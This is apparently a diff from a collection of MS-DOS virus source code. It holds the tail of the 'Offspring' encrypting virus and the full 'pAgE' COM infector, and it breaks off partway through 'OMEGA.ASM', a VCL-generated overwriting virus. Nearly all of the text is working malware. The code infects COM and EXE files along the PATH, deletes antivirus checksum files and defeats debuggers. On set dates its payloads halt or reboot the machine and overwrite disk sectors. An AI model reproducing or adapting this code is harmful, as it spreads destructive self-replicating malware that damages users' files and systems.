add di,change_num ; location to put INC
|
||||
mov ah,inc_op ; INC DI|SI
|
||||
mov byte ptr [di],ah ; write new INC SI|DI
|
||||
|
||||
lea di,sw_byte4 ; now change second INC SI|DI
|
||||
cmp cx,2 ; did we already change both?
|
||||
jne change_pos_ag ; no, change the second
|
||||
inc change_num ; increment position
|
||||
|
||||
mov ah,dir_infect ; save dir_infect
|
||||
push ax ;
|
||||
mov dir_infect,1 ; and reset it to 1
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
d2:
|
||||
|
||||
mov ah,2ch ;
|
||||
int 21h ; Get random number from clock - sec/ms
|
||||
|
||||
mov word ptr xor_op+2,dx ; save encryption #
|
||||
mov word ptr trick_jmp+1,dx ; put same number in fake jump
|
||||
|
||||
mov si,0100h
|
||||
lea di,vend+50 ; destination
|
||||
mov cx,offset vend-100h ; bytes to move
|
||||
cld
|
||||
rep movsb ; copy virus outside of code
|
||||
|
||||
enc_addr:
|
||||
mov di,offset vend
|
||||
enc_add:
|
||||
add di,offset enc_data-100h+50 ; offset of new copy of virus
|
||||
|
||||
go_enc:
|
||||
mov byte ptr ret_byte,0c3h ; make encryption routine RET
|
||||
call encrypt ; encrypt new copy of virus
|
||||
mov byte ptr ret_byte,90h ; Reset it to no RETurn
|
||||
|
||||
pop ax ; restore dir_infect
|
||||
mov dir_infect,ah
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
|
||||
; Write and close new infected file
|
||||
|
||||
pop bx
|
||||
mov cx, offset vend-100h ; # of bytes to write
|
||||
add cx, pad_bytes
|
||||
lea dx, vend+50 ; Offset of buffer
|
||||
mov ah, 40h ; -- our program in memory
|
||||
int 21h ; Call INT 21H function 40h
|
||||
|
||||
mov ax,5701h ; Restore data/time
|
||||
mov cx,word ptr f_time
|
||||
mov dx,word ptr f_date
|
||||
int 21h
|
||||
|
||||
|
||||
close:
|
||||
mov ah, 3eh ; close file
|
||||
int 21h
|
||||
|
||||
|
||||
no_infect:
|
||||
find_file:
|
||||
|
||||
cmp inf_count, max_inf ; Max files found?
|
||||
je end_prog ; yes, end infection
|
||||
mov ah,4fh ; Find next file
|
||||
int 21h
|
||||
jc end_prog ; if no files found.. quit
|
||||
jmp next_loop ; infect the next file
|
||||
|
||||
|
||||
end_prog:
|
||||
exit :
|
||||
cmp inf_count,0 ; Start parastic infection on next run
|
||||
jne find_done ; nope.. we're done
|
||||
cmp byte ptr vtype, parastic ; Parastic infection done?
|
||||
je find_done ; yep, exit already
|
||||
mov fname_off, offset fname2 ; Point to new filespec
|
||||
mov byte ptr vtype, parastic ; virus type = parastic
|
||||
jmp find_first ; do it again for parastic
|
||||
|
||||
|
||||
find_done:
|
||||
fd2:
|
||||
xor ax,ax
|
||||
mov es,ax ; es = 0
|
||||
cli ; interrupts off
|
||||
mov ax,old_eh_seg ; get old int 24h segment
|
||||
mov bx,old_eh_off ; get old int 24h offset
|
||||
mov es:[24h*4+2],ax ; restore int 24h segment
|
||||
mov es:[24h*4],bx ; restore int 24h offsetn
|
||||
sti ; interrupts on
|
||||
ret ; return
|
||||
resident endp
|
||||
|
||||
|
||||
|
||||
|
||||
vtype db spawn ; Infection type
|
||||
com_name db 'COMMAND.COM' ; obvious
|
||||
org_bytes db 7 dup(0) ; original first seven bytes of parastic inf.
|
||||
pad_bytes dw 0 ; Increase in virus size
|
||||
add_mem db 0 ; Add memory back?
|
||||
inc_op db 47h ; INC DI (47h) or INC SI (46h)
|
||||
nop_sub db 40h ; fill byte
|
||||
copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh
|
||||
v_id db 0ah,0dh,'OŸŸspring Virus V0.89','$'
|
||||
kill_now db 0 ; no program running? dir/disk call?
|
||||
chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill
|
||||
chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill
|
||||
fname1 db '*.EXE',0 ; Filespec
|
||||
fname2 db '*.COM',0 ; Filespec
|
||||
change_num dw 0 ; keep track of position of INC DI|SI
|
||||
times_inc db 0 ; # of times encryption call incremented
|
||||
sl db '\' ; Backslash for directory name
|
||||
file_dir db 64 dup(0) ; directory of file we infected
|
||||
file_name db 13 dup(0) ; filename of file we infected
|
||||
|
||||
par_blk dw 0 ; command line count byte -psp
|
||||
par_cmd dw 0080h ; Point to the command line -psp
|
||||
par_seg dw 0 ; seg
|
||||
dw 05ch ; Use default FCB's in psp to save space
|
||||
par1 dw 0 ;
|
||||
dw 06ch ; FCB #2
|
||||
par2 dw 0 ;
|
||||
|
||||
dir_infect db 0
|
||||
|
||||
vend: ; End of virus
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; heap - not written to disk
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
chk_spec_addr dw chk_spec ; delete file spec
|
||||
fname_off dw fname1 ; Offset of Filespec to use
|
||||
old_nop_sub db 0
|
||||
old_dta dd 0 ; Old DTA Segment:Address
|
||||
old_eh_seg dw 0 ; old error handler (int 24h) seg
|
||||
old_eh_off dw 0 ; old error handler (int 24h) ofs
|
||||
inf_count db 0 ; How many files we have infected this run
|
||||
fcb db 21 dup(0) ; fcb
|
||||
attrib db 0 ; file attribute
|
||||
f_time dw 0 ; file time
|
||||
f_date dw 0 ; file date
|
||||
f_sizeh dw 0 ; file size
|
||||
f_sizel dw 0 ;
|
||||
f_name db 13 dup(0) ; file name
|
||||
|
||||
|
||||
cseg ends
|
||||
end start
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,367 @@
|
|||
;
|
||||
; ÖÄÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÄÒÄ ÒÄÄ¿ ÖÄÄ¿ ÖÄÒÄ¿
|
||||
; ÇÄÄ´ º ³ º º ÇÄ º ³ º
|
||||
; Ð Á Ð Á ÓÄÄÙ ÄÐÄ ÐÄÄÙ Ð Á Ð
|
||||
; ÖÄ¿ ÖÄÄ¿ ÖÄÄ¿ ÒÄÄ¿
|
||||
; ÓÄ¿ ÇÄÄ´ º Ä¿ ÇÄ
|
||||
; ÓÄÄÙ Ð Á ÓÄÄÙ ÐÄÄÙ
|
||||
;
|
||||
; ...from the books of pAgE
|
||||
;
|
||||
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
depth_of_well equ longer_than-my_dick
|
||||
|
||||
my_dick:
|
||||
call yump_up_and_go
|
||||
|
||||
yump_up_and_go: pop bp
|
||||
sub bp,offset yump_up_and_go
|
||||
jmp hop_over_da_shit
|
||||
|
||||
and_over_it_again: mov ax,3524h
|
||||
int 21h
|
||||
mov word ptr [bp+stash_box],bx
|
||||
mov word ptr [bp+stash_box+2],es
|
||||
mov ah,25h
|
||||
lea dx,[bp+offset int24]
|
||||
int 21h
|
||||
push cs
|
||||
pop es
|
||||
jmp gordon_effect
|
||||
|
||||
hop_over_da_shit: lea si,[bp+stash_3]
|
||||
mov di,100h
|
||||
push di
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov byte ptr [bp+how_many],4
|
||||
stupid_shit_trns: mov ah,1Ah
|
||||
lea dx,[bp+new_chunk]
|
||||
int 21h
|
||||
|
||||
mov ah,47h
|
||||
mov dl,0
|
||||
lea si,[bp+where_we_is]
|
||||
int 21h
|
||||
mov byte ptr [bp+eyelash],'\'
|
||||
|
||||
jmp and_over_it_again
|
||||
jmp bang_bang
|
||||
put_fletch_on_it proc far
|
||||
|
||||
yeeha_go: mov ah,0h
|
||||
mov al,12h
|
||||
int 10h
|
||||
|
||||
jmp yo_homey_1
|
||||
stupid_shit_1 db 4
|
||||
stupid_shit_2 dw 0
|
||||
db 62h, 79h
|
||||
copyright db '-->>pAgE<<--'
|
||||
db '(C)1992 TuRN-THE-pAgE '
|
||||
stupid_shit_5 db 'Ancient Sages'
|
||||
db ' '
|
||||
db ' Is one of pAgEs'
|
||||
db ' '
|
||||
db '$'
|
||||
yo_homey_1:
|
||||
push si
|
||||
push di
|
||||
mov si,80h
|
||||
cld
|
||||
call mo_stupid_shit_1
|
||||
cmp byte ptr [si],0Dh
|
||||
je yo_homey_4
|
||||
mov cx,28h
|
||||
lea di,stupid_shit_5
|
||||
yo_homeyloop_2:
|
||||
lodsb
|
||||
cmp al,0Dh
|
||||
je yo_homey_3
|
||||
stosb
|
||||
loop yo_homeyloop_2
|
||||
yo_homey_3:
|
||||
inc cx
|
||||
mov al,2Eh
|
||||
rep stosb
|
||||
yo_homey_4:
|
||||
pop di
|
||||
pop si
|
||||
|
||||
mov dx,si
|
||||
mov cx,di
|
||||
mov stupid_shit_2,cx
|
||||
yo_homey_5:
|
||||
mov stupid_shit_1,0FFh
|
||||
yo_homey_6:
|
||||
add stupid_shit_1,1
|
||||
mov bl,stupid_shit_1
|
||||
mov cx,40
|
||||
call mo_stupid_shit_2
|
||||
|
||||
yo_homeyloop_7:
|
||||
mov al,byte ptr copyright+20h[bx]
|
||||
mov ah,0eh
|
||||
int 10h
|
||||
|
||||
inc bx
|
||||
call mo_stupid_shit_3
|
||||
mov dl,0FFh
|
||||
mov ah,6
|
||||
int 21h
|
||||
|
||||
jnz yo_homey_10
|
||||
loop yo_homeyloop_7
|
||||
|
||||
cmp byte ptr copyright+20h[bx],24h
|
||||
je yo_homey_5
|
||||
jmp short yo_homey_6
|
||||
|
||||
put_fletch_on_it endp
|
||||
|
||||
mo_stupid_shit_1 proc near
|
||||
|
||||
yo_homey_8:
|
||||
inc si
|
||||
cmp byte ptr [si],20h
|
||||
je yo_homey_8
|
||||
retn
|
||||
mo_stupid_shit_1 endp
|
||||
|
||||
mo_stupid_shit_2 proc near
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov dx,si
|
||||
mov cx,di
|
||||
mov ah,0Fh
|
||||
int 010h
|
||||
mov ax,1210h
|
||||
mov bx,55h
|
||||
int 10h
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
retn
|
||||
mo_stupid_shit_2 endp
|
||||
|
||||
mo_stupid_shit_3 proc near
|
||||
push cx
|
||||
mov cx,258h
|
||||
yo_homeyloop_9:
|
||||
loop yo_homeyloop_9
|
||||
pop cx
|
||||
retn
|
||||
mo_stupid_shit_3 endp
|
||||
|
||||
yo_homey_10:
|
||||
call mo_stupid_shit_2
|
||||
mov cx,4Fh
|
||||
yo_homeyloop_11:
|
||||
mov al,20h
|
||||
mov ah,0Eh
|
||||
int 10h
|
||||
|
||||
loop yo_homeyloop_11
|
||||
|
||||
mov ah,1
|
||||
mov cx,stupid_shit_2
|
||||
int 10h
|
||||
|
||||
jmp bang_bang
|
||||
call fuck_da_monkey
|
||||
|
||||
gordon_effect: lea dx,[bp+what_we_wants]
|
||||
mov ah,4eh
|
||||
mov cx,7h
|
||||
findfirstyump_up_and_go: nop
|
||||
int 21h
|
||||
|
||||
mov al,0h
|
||||
call tear_it_open
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
mov ah,3fh
|
||||
lea dx,[bp+muffler]
|
||||
mov cx,1ah
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
check_it_out:
|
||||
|
||||
mov ax,word ptr [bp+new_chunk+1Ah]
|
||||
cmp ax,(longer_than-my_dick)
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(longer_than-my_dick)
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+muffler+1]
|
||||
add bx,longer_than-my_dick+3
|
||||
cmp ax,bx
|
||||
je find_next
|
||||
jmp yo_over_here
|
||||
find_next:
|
||||
mov ah,4fh
|
||||
jmp short findfirstyump_up_and_go
|
||||
mov ah,3bh
|
||||
lea dx,[bp+dot_dot]
|
||||
int 21h
|
||||
jnc gordon_effect
|
||||
|
||||
mov bx,word ptr [bp+muffler+1]
|
||||
add bx,longer_than-my_dick+3
|
||||
yo_over_here: mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset muffler]
|
||||
lea di,[bp+offset stash_3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
finishgordon_effection:
|
||||
push cx
|
||||
xor cx,cx
|
||||
call attributes
|
||||
|
||||
|
||||
mov al,2
|
||||
call tear_it_open
|
||||
|
||||
mov ah,40h
|
||||
lea dx,[bp+muffler]
|
||||
pop cx
|
||||
int 21h
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h
|
||||
lea dx,[bp+my_dick]
|
||||
mov cx,longer_than-my_dick
|
||||
int 21h
|
||||
|
||||
mov ax,5701h
|
||||
mov cx,word ptr [bp+new_chunk+16h]
|
||||
mov dx,word ptr [bp+new_chunk+18h]
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+new_chunk+15h]
|
||||
call attributes
|
||||
|
||||
leave_heeruh_virus:
|
||||
mov ax,2524h
|
||||
lds dx,[bp+offset stash_box]
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
olley: call put_fletch_on_it
|
||||
|
||||
tear_it_open proc near
|
||||
mov ah,3dh
|
||||
lea dx,[bp+new_chunk+30]
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
endp tear_it_open
|
||||
|
||||
attributes proc near
|
||||
mov ax,4301h
|
||||
lea dx,[bp+new_chunk+30]
|
||||
int 21h
|
||||
ret
|
||||
endp attributes
|
||||
int24:
|
||||
mov al,3
|
||||
iret
|
||||
yumpem_keep dd ?
|
||||
how_many db ?
|
||||
davey_jones dd ?
|
||||
yumpem_keep2 db ?
|
||||
stash_3 db 0cdh,20h,0
|
||||
davey_jones2 dd ?
|
||||
what_we_wants db "*.COM",0
|
||||
muffler db 1ah dup (?)
|
||||
stash_box dd ?
|
||||
eyelash db ?
|
||||
where_we_is db 64 dup (?)
|
||||
new_chunk db 43 dup (?)
|
||||
dot_dot db '..',0
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
; Borrowed this segment from the VCL
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
bang_bang proc near
|
||||
mov cx,0025h
|
||||
new_shot: push cx
|
||||
mov dx,0140h
|
||||
mov bx,0100h
|
||||
in al,061h
|
||||
and al,11111100b
|
||||
fire_shot: xor al,2
|
||||
out 061h,al
|
||||
add dx,09248h
|
||||
mov cl,3
|
||||
ror dx,cl
|
||||
mov cx,dx
|
||||
and cx,01FFh
|
||||
or cx,10
|
||||
shoot_pause: loop shoot_pause
|
||||
dec bx
|
||||
jnz fire_shot
|
||||
and al,11111100b
|
||||
out 061h,al
|
||||
mov bx,0002h
|
||||
xor ah,ah
|
||||
int 1Ah
|
||||
add bx,dx
|
||||
shoot_delay: int 1Ah
|
||||
cmp dx,bx
|
||||
jne shoot_delay
|
||||
pop cx
|
||||
loop new_shot
|
||||
endp bang_bang
|
||||
|
||||
fuck_da_monkey proc near
|
||||
;xor ah,ah
|
||||
;int 1Ah
|
||||
;xchg dx,ax
|
||||
;mov dx,0FFh
|
||||
out_loop: ;out dx,al
|
||||
;dec dx
|
||||
;jne out_loop
|
||||
|
||||
;mov al,0002h
|
||||
;mov cx,3
|
||||
;lea dx,stupid_shit1_file
|
||||
;int 26h
|
||||
|
||||
;cli
|
||||
;hlt
|
||||
;jmp short $
|
||||
endp fuck_da_monkey
|
||||
int 20h
|
||||
longer_than:
|
||||
end my_dick
|
||||
|
|
@ -0,0 +1,539 @@
|
|||
; OMEGA.ASM -- Omega: The End
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Noinger
|
||||
|
||||
virus_type equ 1 ; Overwriting Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
flag: add bx,0
|
||||
xchg bx,ax
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov cx,0014h ; Do 20 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0010h ; Did the function return 16?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov cx,423Fh ; First argument is 16959
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
|
||||
mov si,0001h ; First argument is 1
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl si,1 ; Convert to word index
|
||||
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
||||
pop es ; Restore ES
|
||||
|
||||
end00: call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip01 ; If less that or equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
|
||||
|
||||
end01: call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip02 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip02 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip02 ; If greater than or equal, skip effect
|
||||
jmp short strt02 ; Success -- skip jump
|
||||
skip02: jmp end02 ; Skip the routine
|
||||
strt02: mov bx,0001h ; First argument is 1
|
||||
mov si,0002h ; Second argument is 2
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl bx,1 ; Convert to word index
|
||||
shl si,1 ; Convert to word index
|
||||
mov ax,word ptr [bx + 03FEh]; Zero COM port address
|
||||
xchg word ptr [si + 03FEh],ax; Put first value in second,
|
||||
mov word ptr [bx + 03FEh],ax; and second value in first!
|
||||
pop es ; Restore ES
|
||||
|
||||
end02: call get_month
|
||||
cmp ax,000Bh ; Did the function return 11?
|
||||
jne skip03 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip03 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip03 ; If greater than or equal, skip effect
|
||||
jmp short strt03 ; Success -- skip jump
|
||||
skip03: jmp end03 ; Skip the routine
|
||||
strt03: int 018h ; Drop to ROM BASIC
|
||||
|
||||
end03: call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip04 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jle skip04 ; If less that or equal, skip effect
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jge skip04 ; If greater than or equal, skip effect
|
||||
jmp short strt04 ; Success -- skip jump
|
||||
skip04: jmp end04 ; Skip the routine
|
||||
strt04: cli ; Clear the interrupt flag
|
||||
hlt ; HaLT the computer
|
||||
jmp short $ ; Just to make sure
|
||||
|
||||
end04: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip05 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
jmp short strt05 ; Success -- skip jump
|
||||
skip05: jmp end05 ; Skip the routine
|
||||
strt05: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end05: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip06 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jne skip06 ; If not equal, skip effect
|
||||
jmp short strt06 ; Success -- skip jump
|
||||
skip06: jmp end06 ; Skip the routine
|
||||
strt06: mov ax,0002h ; First argument is 2
|
||||
mov cx,423Fh ; Second argument is 16959
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end06: mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 0FDh,0C8h,006h,0C6h,0DFh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,135 ; Allocate 135 bytes on stack
|
||||
|
||||
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 134] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
call traverse_path ; Start the traversal
|
||||
|
||||
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
|
||||
je done_searching ; If so then we're done
|
||||
call found_subdir ; Otherwise copy the subdirectory
|
||||
|
||||
mov ax,cs ; AX holds the code segment
|
||||
mov ds,ax ; Set the data and extra
|
||||
mov es,ax ; segments to the code segment
|
||||
|
||||
xor al,al ; Zero AL
|
||||
stosb ; NULL-terminate the directory
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 70] ; DX points to the directory
|
||||
int 021h
|
||||
|
||||
mov dx,offset com_mask ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a .COM file
|
||||
jnc done_searching ; If successful the exit
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect an .EXE file
|
||||
jnc done_searching ; If successful the exit
|
||||
jmp short traversal_loop ; Keep checking the PATH
|
||||
|
||||
done_searching: mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 135] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
cmp word ptr [path_ad],0 ; Did we run out of directories?
|
||||
jne at_least_tried ; If not then exit
|
||||
stc ; Set the carry flag for failure
|
||||
at_least_tried: mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
search_files endp
|
||||
|
||||
traverse_path proc near
|
||||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||||
xor di,di ; DI holds the starting offset
|
||||
|
||||
find_path: mov si,offset path_string ; SI points to "PATH="
|
||||
lodsb ; Load the "P" into AL
|
||||
mov cx,08000h ; Check the first 32767 bytes
|
||||
repne scasb ; Search until the byte is found
|
||||
mov cx,4 ; Check the next four bytes
|
||||
check_next_4: lodsb ; Load the next letter of "PATH="
|
||||
scasb ; Compare it to the environment
|
||||
jne find_path ; If there not equal try again
|
||||
loop check_next_4 ; Otherwise keep checking
|
||||
|
||||
mov word ptr [path_ad],di ; Save the PATH address for later
|
||||
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
|
||||
ret ; Return to caller
|
||||
|
||||
path_string db "PATH=" ; The PATH string to search for
|
||||
path_ad dd ? ; Holds the PATH's address
|
||||
traverse_path endp
|
||||
|
||||
found_subdir proc near
|
||||
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
|
||||
lea di,[bp - 70] ; DI points to the work buffer
|
||||
push cs ; Transfer CS into ES for
|
||||
pop es ; byte transfer
|
||||
move_subdir: lodsb ; Load the next byte into AL
|
||||
cmp al,';' ; Have we reached a separator?
|
||||
je moved_one ; If so we're done copying
|
||||
or al,al ; Are we finished with the PATH?
|
||||
je moved_last_one ; If so get out of here
|
||||
stosb ; Store the byte at ES:DI
|
||||
jmp short move_subdir ; Keep transfering characters
|
||||
|
||||
moved_last_one: xor si,si ; Zero SI to signal completion
|
||||
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
|
||||
ret ; Return to caller
|
||||
found_subdir endp
|
||||
|
||||
db 0BFh,0C0h,0BDh,072h,05Fh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 0A9h,06Bh,0DAh,081h,0AFh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
||||
jne infection_done ; If it is then exit
|
||||
|
||||
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
||||
